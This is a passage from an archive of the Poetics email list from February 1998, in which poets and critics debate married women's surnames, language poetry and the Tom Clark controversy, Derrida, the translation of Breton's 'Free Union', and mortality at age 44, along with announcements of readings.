>Oh for Heaven's sake, Maria. Your posts have always been intelligent and
>I've always looked forward to them, but you've lost me this time with your
>sweeping generalizations about gender equity. Sorry, but I have to say
>this.
>
>My wife took my name neither to be usurped and colonized nor to be a piece
>of property, and would find this discussion silly, whatever her reasons
>were (and they were her own). Furthermore, she is neither usurped nor
>colonized. 17 years ago I put her through university. For 12 years I have
>cared for our children and home, put her through graduate school (and did
>not go myself), assisted her hugely with her thesis, moved to follow her
>job, and I continue to support her in her difficult, all-consuming
>professional life daily. I may be so "staggeringly naive that further

>discussion of equity between genders is pointless" and she may be too, but
>my experience is that roles have as much to do with inequity as do genders:
>a man today caring for his children is at as much of a social and political
>disadvantage (in fact more of one) than a woman today caring for hers.
>Whatever happened in the past, happened, and let's talk about it, let's fix
>it as best we can, and if it is still happening, let's fix it now as well,
>but let's not claim more than should be claimed. I am not knocking my
>choices, because I know they have been good, but if that's not equity and
>support, what on earth is? Making her stay home against her will so that
>she could look after the children on 1/3 the salary, so that I could grow
>bitter and not write? Both of us go to work and send the kids to daycare?
>Not have kids? Split up? Tell her she has to take back her maiden name? She
>can change her name to anything she wants, any day.
>
>There, I said it.
>
>Harold Rhenisch
>[redacted]

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229. **Maria Damon**
Re: 44
Fri 6 Feb 1998

---

i believe that in one of the chinese languages, the word "four" is a synonym for "death," and thus is often avoided. if doubled, that wd seem to suggest an untimely or otherwise noteworthy-for-its-tragicness death. coming up on 43--md

At 1:36 PM -0700 2/5/98, Carolyn Guertin wrote:
>Dan died at the age of 44--the age that too many of my own most influential
>20th century artists left: Maya Deren, Paul Blackburn, Lew Welch, and I think
>Frank O'Hara (not totally sure about O'Hara, but pretty sure). Any
>numerologists out there?
>
>bpNichol too, at 44.
>
>_____
>Carolyn Guertin, Department of English, University of Alberta
>E-Mail: [redacted]; Tel/FAX: [redacted]
>Website: http://www.ualberta.ca/~cguertin/Guertin.htm
>
>"I have doubted my belief in sentences because

>of their refusal to recall certain things"
>-- Brenda Hillman

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230. **Maria Damon**
Re: a posting to poetics (late)
Fri 6 Feb 1998

At 10:12 AM -0800 2/5/98, William Marsh wrote:
>At 08:56 AM 2/5/98 -0500, daniel bouchard wrote:
>>PAX
>>
>>I make a pact with you, Ron Silliman--
>>I have admired your poems long enough.
>>I come to you as a prodigal pup;
>>Weaned at a dozen fat anthologies.
>>I am old enough now to make an end.
>>Whitman broke the new wood,
>>Pound put in time to carving.
>>We watch the blasted stumps in the open fields
>>Leak black ink of American grain.
>>
>>I make a pact with you, venerable LangPoets--
>>I have invested in your works long enough.
>>I look back at you as a honorable bunch
>>Laying new asphalt over the old roads;
>>I am old enough now to map an end.
>>It was you who splintered the carved wood,
>>Now it is time for recycling.
>>We have a cool climate and a rich soil--
>>Don't let the mulcher come between us.
>>
>>I make a pact with you, my contemporaries--
>>For to know you better there is time enough.
>>I come to you with no gifts
>>But that of mutual comradeship;
>>I am ready to make friends.
>>Look around us at all this damned wood,
>>It is time to sort out what you want.
>>We have glasses of water nursing new roots--
>>Let there be communication between us.
>>

>daniel
>
>i'm interested in your statement here, especially given the fact that about
>80% of old-growth forest in the U.S. has been lost (most of it to create
>land for grazing livestock and/or growing livestock feed) and topsoil
>depleted 75% for sake of same (not to mention chemical contamination of
>soil and water--fertilizers, etc. to sustain growth) / so i have to admit
>the running conceit here ("wood," "rich soil", "water nursing new roots,"
>"recycling") resonates oddly for me--not just for its irony, intended or
>not / the "American Grain" you refer to and "American Tree" by implication
>as well lead me to think that what does separate writers today from the
>"Tree" group is precisely our relationship to REsources, figuratively and
>literally -- the american tree hasn't just been carved and splintered, it's
>been cut down, paved over, then re-paved / planting "new roots" through
>this kind of surface and in this kind of soil would be difficult indeed,
>probably impossible / hydroponics and tree farms: maybe that's where the
>future of poetry lies if we pursue the metaphor
>
>i don't know where you hail from, but having spent some time working on a
>farm in Illinois (shutting windows when the pesticide truck comes through,
>watching hillsides wash away, cleaning contaminated wells, etc.), i have a
>hard time getting past the literal here / but quite seriously whatever pact
>is made among writers today i think it needs to account for this new
>relationship (to wood and word) / the invitation to "mutual comradeship"
>however is gladly accepted
>
>best,
>bill marsh
>

funny you shd mention this, bill; but it reminds me of something that resonates w/ the other list-thread on the honesty or not of critics. one thought i always bring to books when i review them is, "was this book worth cutting down trees for?" of course the answer is almost always negative but of course i don't feel i can say that in a review, it sounds way too harsh. but often i think that way: if this is an assistant professor coming up for tenure, and needs to publish, is it worth the trees? if this book is by a dean or tenured full prof whose future is not at issue, is it worth the trees? you'll notice that content has not yet entered the picture. that's because, with very few exceptions, most of the academic manuscripts or books i'm asked to review *really* don't add much to human knowledge, and certainly don't add as much as trees do to the quality of human life. so, i'm expecting excoriating messages back from all and sundry, accusing

me of utter corruption. so ask yourself: is *your* book worth the trees? most of us have such small print runs it's okay (yes, i think about that too), esp the chapbooks etc., and those show such a spirited do-it-yrself energy that i think they're definitely worth it; i'm talking mostly about the academic book industry.

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231. **Maria Damon**
Re: Celan to Mandelstam
Fri 6 Feb 1998

At 12:59 PM -0500 2/5/98, Henry Gould wrote:
>You will think I am some kind of Blakean avatar, a brass cube of rectal
>rectitude, a meatlocker out to reduce everything to legal jargon &
>professional
> swordsmanship. But you will be wrong.
>

r u kidding? i think many folks on the list find your persistence and idealism very inspiring even if they (we?) don't agree on particulars. so stop w/ this "you think i'm this, you think i'm that, but yr wrong" rhetoric already.

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232. **Maria Damon**
Re: spraying the communities
Fri 6 Feb 1998

---

bravo for this tour de force, josh!--md

At 2:25 AM -0500 2/6/98, Joshua N Schuster wrote:
>There is a thread in common with Louis' post and the Clark issue that I
>feel is worth following.
>
>I went to read the Tom Clark essay today. Probably worth mentioning some
>things before all is swept away. The Brecht quote introduces the piece
>and is completely contextless, not even a footnote provided, so I have no
>idea when the quote was written. Clark uses it to frame langpoetry as
>academic and negatively obscure. Now that Clark has thrown out context,
>that social and historical stuff that induces meaning, he is happy to
>provide his own version of context, calling all langpoetry leftist and
>group-centered. He quotes only one poem, a section from a Watten piece,
>not to analyze but to show that the title "'Stalin As Linguist'" comes
>from Watten (hence the quotes around the title). We assume the analogy
>between group-project and Stalinism and case closed. The whole thing is
>harshly vague and is an example of the kind of criticism I find as

>absolute bullshit, the "I hate this, I hate that" criticism.
>
>And, oooh, I find the academic slander particularly compelling. The fact
>that it is on this list in all its glory is sickening. It's all shit,
>let's burn the universities. Better yet, burn the critic-professors,
>especially that Derrida, root of all obscure academic prose.
>
>The example of Derrida interests me very much, as he has been bashed by
>Tom Clark as well as several language poets over the years, and of course
>by almost every professor and, now, watcher of Woody Allen movies. I'm
>not going to proceed on a lengthy defense here, but I will honestly and
>forcefully say that Derrida's writing is powerful, concise, and stunning.
>I find his texts on Jewish themes and on poetry to be genuinely intense.
>His project is fine-tuned and demanding, and I don't think I would be a
>poet or a critic if it were not for his writing.
>
>Maybe it is worth noting Derrida has not spent the majority of his career
>in the heart of the University system. For many years he has held a
>"tutor" position at the Ecole Normale, about the equivalent of what most
>grad students get as their first job. It's also worth mentioning
>Derrida's essay "The University in the Eyes of its Pupils" (diacritics,
>1983), where Derrida does what he often does to characterize institutions
>(and, of course, also with philosophically dramatic terms). He points out
>the tendency to destroy and demolish institutions is always linked with
>the tendency to praise and commendably name them. The essay is very
>particular about what this may mean, and most of Derrida, as usual, is
>about raising these issues. There are more questions in Derrida's writing
>than most other essays. Derrida does insist that community and
>institution must be re-thought. In his major essay on Levinas he calls
>the context of his critique "the community of the question".
>
>That word "community" is used so often, certainly by me too, that it loses
>much of its relevance. But I use this word to be the real context and
>substance of language writing, the context I seem to most admire them for,
>a context exactly like what Derrida calls "the community of the question".
>Now, Ron Silliman, for example (not to pick on Ron, but his Philly Talk
>here still resonates), has recently suggested such a community was a
>heroic moment in writing, while I completely disagree with such a heroic
>view of history, myself preferring the project of what Greil Marcus calls
>"secret history". Anyways, such heroism should not obscure what is so
>valuable in the cliched but genuine project of community. Even if
>communities find foundations in what will ultimately lead to their own

>downfall, the search is inherently important. That search takes place in
>the community of the question, and for me it welcomes both Derrida and
>language poetry in the *academy turned upside-down* (any reading of
>langpoetry and Derrida would be blind to miss the intense criticism both
>sustain against the university. It is some of the best criticism out
>there, much better than the solitary and blessed poet trashing all
>professors). But Tom Clark will forever fail to see how langpoetry is a
>community (of questionings) and not a totality.
>
>Langpoetry and the University certainly do not present the only results of
>community (not even close), and to me, if either of these "institutions"
>are to be surpassed, in good faith, it will come by a rethinking of
>naming, of grouping, of making context in a socially and historically
>changing world. What is exciting is the ways in which these searches
>continue, even in the heart of the worst corners of the worst
>public/private education systems, even in the most absurd and inviting
>ways. What if in some perverted way, bureaucracy implicitly lead the way
>out of bureaucracy? What if in some terrible corner of a paragraph or a
>library there appeared a clue into a new understanding of community?
>Better we should smash it before it adds up to that pile of shit we call
>context.
>
>Joshua Schuster

↑ Index

233. daniel bouchard

Re: a posting to poetics (late)

Fri 6 Feb 1998

Bill,

Thanks for your response. Having only resubscribed to the Poetics list this past week I was afraid my post--a response to the discussion of Ron's perceived lack of a "crystallization" among younger writers--was lost to ears no longer tuned in to the topic. (I had been following the discussion on the archives.) I took a week just to think about it. It's been discussed on a smaller list and, having bounced ideas around with Steve Evans and Douglas Rothschild over the weekend, I only wrote the "PAX" poem-- half satire--on Thursday night.

I should like to address your comments by connecting them with certain statements of Ron's in the PHILLY TALKS. The poignancy of his thought (one I don't think Jeff Derksen responds to adequately, although he does cover other areas with adroitness) is caught when he questions what it means to be writing in

today's world--after 1979 I think is the date; in a world where Palestinians suffer oppression but are only portrayed in American mainstream press as terrorists, or where the genocide going on in East Timor isn't portrayed at all. (I don't have the TALKS before; I'm sorry if not getting this 100%.) Those were two examples that Ron used. The environment is certainly another; one certainly not restricted by national borders. I think if there were to be a "crystallization" among younger writers (and I'm not advocating one) it would be centered such social questions of writing. Or, if I were to advocate a "crystallization" that's the one I would choose.

You've got to understand: when poets are aware of things like this (if I anticipated any poet would be it would be Ron Silliman) I am fairly excited, but when poets actually speak of them, in public, in the context of writing; well, it gives me quite a rush. Why? Because many of the poets I love (in the 20th century anyway) are concerned with such things in their poems. Form is an afterthought for me. I'm not being as explicit as possible about this (probably making myself out to be a agenda-packing poet seeking to fancy up a message to an arts crowd) but this will have to do here, and as I don't yet have a book published I cannot refer you to my poems.

The agrarian metaphor in "PAX" (or aboreal even) stems from the poem's model, Ezra Pound's "Pact" found in PERSONAE. The metaphor, like a lineage of poetics, runs through the century from Williams, Duncan ("open fields"), to the "Tree" anthology--well, I'm not saying anything people on this list don't already know but I think the "nursing new roots" image in the end is where I stand on this.

The invitation to "mutual comradeship" stands.

By the way, where is Ron? I hope your cold is gone.

- daniel bouchard

Bill Marsh wrote:
>i'm interested in your statement here, especially given the fact that about
>80% of old-growth forest in the U.S. has been lost (most of it to create
>land for grazing livestock and/or growing livestock feed) and topsoil
>depleted 75% for sake of same (not to mention chemical contamination of
>soil and water--fertilizers, etc. to sustain growth) / so i have to admit
>the running conceit here ("wood," "rich soil", "water nursing new roots,"
>"recycling") resonates oddly for me--not just for its irony, intended or
>not / the "American Grain" you refer to and "American Tree" by implication
>as well lead me to think that what does separate writers today from the
>"Tree" group is precisely our relationship to REsources, figuratively and
>literally -- the american tree hasn't just been carved and splintered, it's
>been cut down, paved over, then re-paved / planting "new roots" through

>this kind of surface and in this kind of soil would be difficult indeed,
>probably impossible / hydroponics and tree farms: maybe that's where the
>future of poetry lies if we pursue the metaphor
>
>i don't know where you hail from, but having spent some time working on a
>farm in Illinois (shutting windows when the pesticide truck comes through,
>watching hillsides wash away, cleaning contaminated wells, etc.), i have a
>hard time getting past the literal here / but quite seriously whatever pact
>is made among writers today i think it needs to account for this new
>relationship (to wood and word) / the invitation to "mutual comradeship"
>however is gladly accepted
>
>best,
>bill marsh
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

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234. Mark Prejsnar
Re: Love Poems
Fri 6 Feb 1998

Harold's fretfully defensive post is interesting. Yeah, in fact I don't think there's much question but that a woman's surrender of her name is preposterous and grotesque. But it's a basic political point, Harold, not (at least as far as I'm concerned) an ad feminam attack on any given individual. Capitalism sucks too, but I'm enmeshed in it by having to work for a wage, by watching its television, buying its books. That's not a moral failure, it's an ongoing social dynamic. (Yes I know I know someone's going to pipe up to suggest archly or otherwise that it *is* a moral failure! you can find someone to defend--or attack--anything on this list!)

Even more to the point I suggest you consider disavowing marriage itself. Cast out the great satans of church and state. Erika and I have been together for 16 years and very happy indeed without their benefits!

Mark P.
@lanta

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235. Herb Levy
Re: movie query
Fri 6 Feb 1998

In Godard's Breathless "Belmondo" rubs his thumb across his lips in response to looking at a Bogart poster. I don't remember if Seberg later makse the same gesture.

> *So I wrote this poem from an image which comes from a gesture in a movie and I think it is The Conformist, not sure, must know. Having a bit of trouble finding it to rent in the neighborhood, haven't gone further yet.*
>
> *Here it is: A man in a black trenchcoat gestures to a woman by placing his thumb on his lips. She does the same, perhaps later. It's French.*
>
> *??????*
>
> *thanks,*
> *rachel*

Herb Levy
[redacted]

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236. Herb Levy
Winter/spring Subtext readings
Fri 6 Feb 1998

Here's the next few months of Subtext readings in Seattle. All on the 3rd Thursday of the month, at 7:30 pm at the Speakeasy Cafe amidst the new condos & restaurants of Belltown. These readings finish out the current curatorship by Ezra Mark & begin the next curatorship by Nico Vassilakis.

February: Lynn Tillman/Jeff Derksen

March: Judy Radul/Nico Vassilakis

April: Crag Hill/Maris Kundzins

May: Anselm Hollo/Jim Jones talk on Kerouac in Seattle (workshop with Hollo the following Friday & Saturday)

June: Jean Day/Seattle-area writer to be confirmed

Regrets only

Herb Levy
[redacted]

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237. KENT JOHNSON
Re: Love Poems
Fri 6 Feb 1998

On the surname question: In Latin America and Spain (probably other places) a wife adopts the name of her husband ("de" so and so--de meaning "of") _but_ also keeps in active use her own name, which in turn is passed down to her children. All people, then, carry the names of both parents. Unfortunately, this more "liberated"practice seems to have had little effect on a decidedly patriarchal and machista tradition.

Kent

> *Anybody know how long this custom has been in force (and where and among which classes)? I'm not sure if Marie-Antoinette was "Mrs. Bourbon," less sure if the Wife of Bath took her various husbands' names, and I think what's customary in non-European societies is quite variable. But I don't know.*
> *Property laws, it's worth pointing out, were passed for the convenience of the propertied class. Before the Industrial Revolution made a lot of the old divisions of labor obsolete the lower classes were often more egalitarian in terms of gender than their "betters."*
> *I hope I'm not being naive in suggesting that while Maria is in general terms certainly correct these issues are probably far more complex and nuanced. I await enlightenment.*
>
> *At 01:28 PM 2/5/98 -0600, you wrote:*
> *oh fr heavens' sake. women didn't "take" their husbands names in the sense of usurping and colonizing them; their husbands' names were forced on them as insignia of those husbands' ownership of those wives. i'm sorry, but to claim otherwise is simply either disingenuous, an attempt at rhetorical provocation, or so staggeringly naive that further discussion of equity between genders is pointless.*

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238. **Joe Brennan**
Re: Love Poems/"there, I said it"
Fri 6 Feb 1998

& a damned good thing you did, too.

joe brennan

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239. **sylvester pollet**
Re: Dan Davidson
Fri 6 Feb 1998

Gary--not sure you need more for this sad list, but lately I've been copy-editing the Collected Poems of Stuart Z. Perkoff (which will be around 500 pages) & he died a couple of weeks before his 44th birthday. Be well, all you youngsters. Sylvester

> *Thanks, Carolyn, for reminding me that bp nichol, too, was 44--& to everyone else who reminded me O'Hara was (wow) younger. No coincidence: I opened my e-mail program up this morning . . . to exactly 44 messages. What do you say, think, when things like this happen? Unbelievable.*
>
> *Yours,*
>
> *Gary Sullivan*
> [redacted]

↑ Index

240. **sylvester pollet**
Re: Request for assistance
Fri 6 Feb 1998

Mark (et al): I promised to forward the results--maybe I should add I've never had sexual relations with that woman (in case Kenneth Starr is on the list). Congratulations to the anonymous person who actually came up with the reference. I had heard it, but it was lost in the murk of post-44dom. Sylvester

> *Date: Thu, 5 Feb 1998 18:15:39 -0500 (EST)*
> *From: Angela Martin <*[redacted]*>*
> *X-Sender:* [redacted]
> *To: sylvester pollet <*[redacted]*>*
> *Subject: Re: Request for assistance*
> *MIME-Version: 1.0*
>
> *Sylvester, Sylvester, Sylvester,*

> *You DID it!!!!!!!!!!!!!!!!!!!!*
> *It worked and you are great! (No matter about those things other people say!)*
> *The answer was Robert Browning and someone from your list helped me.*
> *As for any fees I owe, I am not far into contract law, but I think I can come up with some defense.*
> *Also, even before I had the right answer, I appreciated you and your humor. The law books tend to get a person down sometimes and I really needed your dose of kindness.*
> *You are forever a scholar and a gentleman!*
> *Your very dear friend,*
> *Angela*
> *P.S. Have you been hurt in an accident?*

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241. **hen**

Re: a posting to poetics (late)

Fri 6 Feb 1998

Dan's attitude toward the sister & brotherhood of poets could be usefully contrasted with my own. A political awareness & a political poetics could, I imagine, be just as clearly articulated by a loner writing for everybody as by a buddy writing within a movement. I've been trying to argue that there's a problem with the buddy system: uncritical promotion. How do you deal with that, Dan? How do you deal with the HISTORICAL & POLITICAL PROBLEM of juntas - generational, tribal, factional, ideological - which to me seem so much "part of the problem"?

I am fully aware of the energy that builds among people sharing the details of what they're doing, going over it, reading together, getting into the complexity, teaching, talking about what's happening. I am fully aware of the vulnerability - the basic amateurism - of all the lonely poetasters out there, yearning for the food of the mind. Still. I hate groups using the echolalia technique of self-praise; I hate the self-justifications, magnifications, of groups. [They get in the way of my own.] How do YOU deal with this issue?

Give me the stolen air of solitude & uncorrectness.

silence, exile, cunning.

if only! [I could use some more cunning & silence] - Henry G.

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242. **louis stroffolino**
Re: Sex, Power and Poetry
Fri 6 Feb 1998

Though I am interested In Linda Russo's (and others) endeavour to combine the "feminism" thread with Rob Hale's original seduction valentine's day query (and now that I think about it; I think I was the one who first made this connection by bringing up the idea of how Free Union's "sexism" may depend on the reader), I want to again open up the question (which may have gotten a little lost in the shuffle) of writing as seduction in "amorous" contexts.....

If one writes a love poem, an epideictic praise poem (like, say, Elvis Costello's: "I can tell you that I like your sensitivity, but you know it's the way that you walk") one if often, of course, trying to persuade (forensic?).... Now, if poetry is beyond rhetoric, as many argue (though not in poetry if poetry is beyond rhetoric), the forensic or persuasive asepct of poetry should not be as important as the poem as a "self-sufficient act of mind," an aesthetic object whose SUCCESS should not be measured by the degree to which one has actually persuaded the lover of the "troth" of one's love, has reassured the lover, but by some other standard (and this can lead one to POLITICAL analysis of love poems, the poem is "not really about love" , not really about the person to whom it pretends to be addressed, may be really about politics [like all those blues songs by black men can really be about how white america doesn't requite their love as a subtext], that the poet is in love with love and that this, in a non-medieval age of non-troubador, non-minnesingers, is of course BAD: "you can't have sex with a muse" they say)..... but if we try to take such love poems in face value, whether they are praise poems, complaint poems, etc.... one does suspendpolitical questions and even aesthetic questions aside from "are my trousers tight enough" (again, O'Hara) but, as so often happens, one may write a love poem for someone (the person that inspires it) and either cannot send it, will not send it, or will find it "unsuccessful" (falling on deaf ears) and then, seeing that one has a reading coming up and wants to read something new, will read it to others, and then the "you" of that poem becomes a "she" (or "he"), unless someone else can have the "act of faith" (aka delusion) that the poem is "about" that person, and then the poem is "a success" (but such may seem to the poet a "hollow success"--- DOUG CRASE has a very good essay that reads ASHBERY's "project" in such terms by the way). THE SF Hippie underground folks, the diggers I think (unless it was the motherfuckers) said "to love is to fail"... and I still think it's important to clear a space for poems (AND poets) who, let's say may be a little shy and introverted, and feel maybe a little uncomfortable around people in "normal" situations and who maybe decide to use writing as "a sophisticated form of personal ad", as a kind of "compensation", or even as an attempt to find a

soulmate, a double, in ways that "social life" and the spontaneous exigencies of wit and the marketplace and parties do not allow (at least for some of us, not all of us), or even, dare i say it, a "higher" way that may make it obvious that the writer of the poem is somehow DIFFERENT from one's Tarzan and Trump and that that difference, despite what the "world" says, is not always crippling--and that it means the writer is interested in more than the attributes of the body of the beloved and wants to be loved for more than that as well....Well, I'll stop here. gotta run to teach yet another class (adjunct salary toothless benefits!). Chris

On Thu, 5 Feb 1998, Robert Hale wrote:

> *I respond here, not exclusively to Linda, but to her remarks in this note and another, in addition to numerous posts by others that invite a similar reading of Breton's "Free Union" along a similar course, that of male power objectifying and controlling women -- the sway of which I underestimated in the heat of my picaresque adventure.*
>
> *I would also venture another interpretation of "exterior" that might lead somewhere other than the phallus and its well-worked calculus and mass redundancy. Exteriorization as a "positive task" (Deleuze and Guattari) working against interiorizing forces -- control, perversion (you name it), those which "no longer open to any outside." Then exteriorization is the highest, and albeit most abstract, task of love. I guess I consider this romantic in the context of my delivery of Breton to "my woman", but as I try to explicate I realize how ethereal it can be and probably was to her.*
>
> *There seems to be some consensus over the idea that the love poem must strive for egalitarian goals, though I think the "heat" I mentioned above makes this very difficult to achieve. And as Pierre eluded to, the Surrealists, Breton esp., cared little for egalitarianism or any other such bourgeois concepts. I am not a Surrealist, but as I recall, a blurb on my work once mentioned the influence.*
>
> *To summarize, I quote Mariana Valverde from her "Sex, Power and Pleasure" (a book given to me by an ex-girlfriend, which I obviously have had trouble applying in real life -- I keep forgetting that I have lit cigarettes already as I am writing this so the ashtray has three camels burning simultaneously in it, all mine!):*
>
> *"The task is not to reject all objectification in favour of an impossible ideal of pure subjectivity, but rather to integrate the two aspects of human existence. The task is to remain a full human subject even while someone is considering us as a potential erotic object, and vice versa. An eroticism that is both sexy and egalitarian is one in which both partners are simultaneously subject and object, for one another as well as for themselves."*
>
> *This sounds good (utopian?), but I keep forgetting that I have lit*

> *cigarettes already as I am writing this so...*
>
> *Lastly, what about the use of "My lover" as the addressee? Bill Luoma has used this quite successfully, I think, in recent love poems of his.*
>
> *At 12:31 AM 2/5/98 +0000, you wrote:*
> **snip**
>
> *Also, what happens to the language when it's delivered as such a message? -- the route as part of a text "loved" when isolated, packed and unpacked, yet trouble-making when delivered?*
>
> *i can only guess that you wanted "my woman with" to translate into "you"; odd that "my woman with" seems so fill-in-the-blankish except(!) when a specific "subjectivity" is demanded of it; i.e. "my susan with" might work but "i, susan, with" won't.*
>
> **snip snap**
>
> *I wrote some love poems (as some of you suggested), but there is nothing like a Breton love poem, and it is a love poem, contrary to opinion, very complicated, I think, and emotional (whatever these words mean), all these things in a very exterior, and arguably, male way.*
> *yes, in the way that it is all cock. i.e. he loves her with his cock or with whatever else skin he can glom all over her -- the old standby question -- do you think he respects his "woman with"? is there a being beneath this mass of female goodness?*
> *yes, it's nice to receive compliments re your bod. -- but to the exclusion of ? ? ? -- i'm reacting now out of context, of course, you couldn've sent a love poem praising her mind, her ideals, &c her bank account, i dunno, but i'd like to know of some poems that do!*

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243. **Tom Mandel**

ma femme

Fri 6 Feb 1998

Pierre writes:

"in French it's of course "ma femme" — the translation I use is Antin's which says "my woman" -- but there exists another more recent one that tries to p.c.fy (I guess, or else legalize the free union) the poem by translating "ma femme" as "my wife." Does that make any difference?"

The American English phrase "my woman" is simply *not* a translation of the French "ma femme". In French, that phrase *means* (denotes, points at, identifies) "my wife." Just as "ma femme de menage" *means* my maid and not "my woman-who-orders-household."

The phrase "my woman" is full of romantic (literarily, I mean) overtones and symbolic connections (to "woman"), and universalisms (viz. a man and a woman). Using it in the translation skews the poem.

Breton is *investing* the quotidian relationship -- husband and wife -- with qualities foreign to it or transformative of it, and investing the *object* he views from within that matched-pair relationship with mystical qualities. Using "my woman" to translate "ma femme" removes the point of the poem entirely. The result -- to me -- is utterly leaden. Whereas in French I liked it a lot.

I highlight the word *object* because obviously the poem *objectifies* his wife. Ooooh, the shame of it. And, if I've effectively (however lightly) skimmed responses to it here, this fact has not gone unnoticed, as many a better-knowing head has nodded.

One of Tom's Ten Ways To Let The Fly Out Of The Bottle (available to grad students at a nominal cost) is this: *all* sex and all sexual relationships involve objectification. More sex implies more objectification. Or, as Breton might have said on one occasion or another: "amusez-vous bien."

)Now I'm going to hear it!(

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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244. Tom Mandel

Dan

Fri 6 Feb 1998

I've written to Gary Sullivan.

All I'll say here is that I meant my words (wish he was here so I cd throttle him for what he did) to express my longing for his presence and my distress that he cannot be reached.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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245. **Dale M Smith**

Slander and Context

Fri 6 Feb 1998

It's quite a laugh to see defensive postions played out so unjustly on this list. I'm sure I could take anyone's words out of context also, and apply them to malignant ends to support my own positions. But I don't because it's unfair and pathetic. No one here has ever said or done something they regret? Who has unguarded moments of weakness? Who never gives in to a desire to 'act out' in social situations to make a point, to reveal humor, or yeah, even to piss someone off? Are there no pattern recognigitons in human character? Public language?

We are no longer discussing poetics, but opposing dissent within a community with the kinds of responses that actually validate many of the social perceptions acknowledged in both 'Stalinist as Linguist' essays. Further more, these attempts to degrade someone in absentia is like beating a kitten in a sack. At least those articles appeared within the community Clark was a part of. The problem is not so much with him now, but with the fact that anyone dares challenge this 'community' in any way outside of 'polite' discourse. The most lame, thoughtless opinions imaginable are perfectly accepted as long as they don't rub against the communal grain. But dissenting opinions are challenged with ruthless rhetorical twists.

Henry Gould has been much more articulate and generous than myself re: issues of poetic value. What he suggests, however, is science fiction because, as you can tell from this list, the reality of our poetics is business and politics, the kind that some here cherish more than the poetry Henry obviously loves.

I was drawn back onto this list (feeling myself, whether I like it or not, to be a part, in some way, of this community) because Bromige made certain disparaging remarks about Tom Clark. I said what I had to say about Watten et al. He and others responded in turn about Clark. I did not agree entirely with those responses, nor did Bromige et al with mine. Now suddenly, the scale has

escalated and nothing is based on a 'generou' or 'reasonable' exchange of opinion, but on decontextualized 'snips' from one man's life. I've said it before and I'll say it now. The heart of the issue is that this community refuses dissent from within or without. If it does not reek of precious Derrida it's in bad odor. If someone challenges our poetic assumptions they are disposed of in ways that are measured by the 'politeness' of the opposing opinions.

Maybe it's the electronic medium that forces us to be so reductive. Maybe it's just greed and a desire to measure our precious *intelligence* and self-righteousness against others. Who the fuck knows. But I'm posting this now before I say something I don't wanna say. Besides. I've gotta go chase 'nymphomaniacs' on my computer screen. That's obviously more *fun* than hanging out here all day. Dale

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246. Tom Mandel

"*my man*"

Fri 6 Feb 1998

Cold and wet, tired you bet....

..I'm sure everybody on this list knows the incredible version of this song by Billie Holiday.

and then there's her "Nobody's business but my own" (won't call no copper if I'm beat up by my poppa), and...

My man wouldn't fix me no dinner
talk about my supper man he put me out of doors
took a matchbox to my clothes....

(as opposed to...)
"my momma gave me something
going to carry me through this world"

Somebody, whoeverbody, let me know when the dissertation's finished. I want to read all about it.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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247. R M Daley
Re: freud's trick
Fri 6 Feb 1998

On Thu, 5 Feb 1998, Joe Brennan wrote:

> what's so "tricky" about Freud? In my experiece he's one of the most ethical
> and open thinkers of this century --at least, I've always found that to be so.
> Will you please elaborate, with textual citations if possible, what "tricks"
> he's turned?
>
> joe brennan
>
> my intervention has nothing to do with the Breton purge currently under way
--
>
> joe
>
joe - i'd say fer sure see his intorductory lectures and the essay n
"femininity" - - where he says things like "women are certainly the
inferior sex, this is determined biologically, but of course i'm not
really qualified to say something like this' - thats more or less a
summary when the amazing part about it really is his rhetorc- i menat in a
good, interesting way really, though i could never call it 'ethical' or
'open-minded' - his conclusions themselves are pretty ridiculous and a lot
of work has been done since to un-do it - a la irigaray who uses his same
rhetorical technique - steals his fire but turns it more or less the other
way
'we like white space'

rd

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248. Eric Blarnes
I say
Fri 6 Feb 1998

I say, we've had a bit of a term break here in ivy-spivied old Left Overbie, so wouldn't you know I've been perusing your "poetics" list rawther more diligently, a pot of the old kishkim near at hand in my beloved librurry...

I say, there has been quite a tussling and jostling of elbows round this bit about - whatchymicallit, "Indie-Criticism" - quite a baffling & buffeting, soreheads &

all... & it did occur to me to wonder what the Bard, dear o' Shakespeare, would think of all this... rawther a solid poet there, I should say - though Ben Jonson wrote "would he had blotted a thousand [lines]" - now was that independent of you, Ben? Rawther a spot jealous, no doubt - My "good buddy" [heh heh] Ben Carrelis down Aussie way back- channeled to say "Anybody who trumpets so loud & often on that d--d list as Mr. Gould can't be anything but a GODAWFUL poet" - but I say, I won't get into any odd hummingem hereabouts...

Anyhow, what about Shakespeare? Well I pulled down my folio completus & what did I find? The plays are chock full of what you call "Fools for Love". Whether it's Antonio in MERCHANT throwing his fortune away for love of his "buddy" Sebastian, or Marc Antony tossing off the Empire for sweepie Cleopat, why, these types are EVERYWHERE!!! So I think we might assume the Bard would say : why, we're all fools for love - love of poetry, love of our pals, love of our foreberries, love of glory - & the one who sets himself up as the cool objective cucumber must be... THE BIGGEST FOOL OF ALL! - and, if I might paraphrase you dashed Yanks - "that's no bull!"

Oh I say Henry, don't cry... there there... that's a good little indie-boy... Remember, it's almost Valentine's Day - now there was a fool if ever...

- Eric Blarnes

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249. LAURA MORIARTY

Re: various - a spray

Fri 6 Feb 1998

Fascinating posts! Louis, Joshua, Chris

1. That male-hero poet is often actually a family unit in which the woman is a key but silent figure - rarely a writer herself - who makes the world being spoken out of -

2. It is an interesting characterization - that edge of community idea - It suggests a Janus-like facing both ways - perhaps a multiple betrayal - which seems potentially very productive - Perhaps the more totally one is compromised but committed (the relentlessly feminist male poet, the male-identified female poet, the Oxford-educated Indian poet etc) the more interesting and mutiply legible the writing would be -

3. As one who might be regarded as anti-academic or anti-theory, I would like to say emphatically that I am not - I simply think that in the interface between those two communites sometimes the poet who writes academic essays (or who specifically addresses that community) is valued for that reason more than others who do not - so that such writing (not only critical, but critical within a

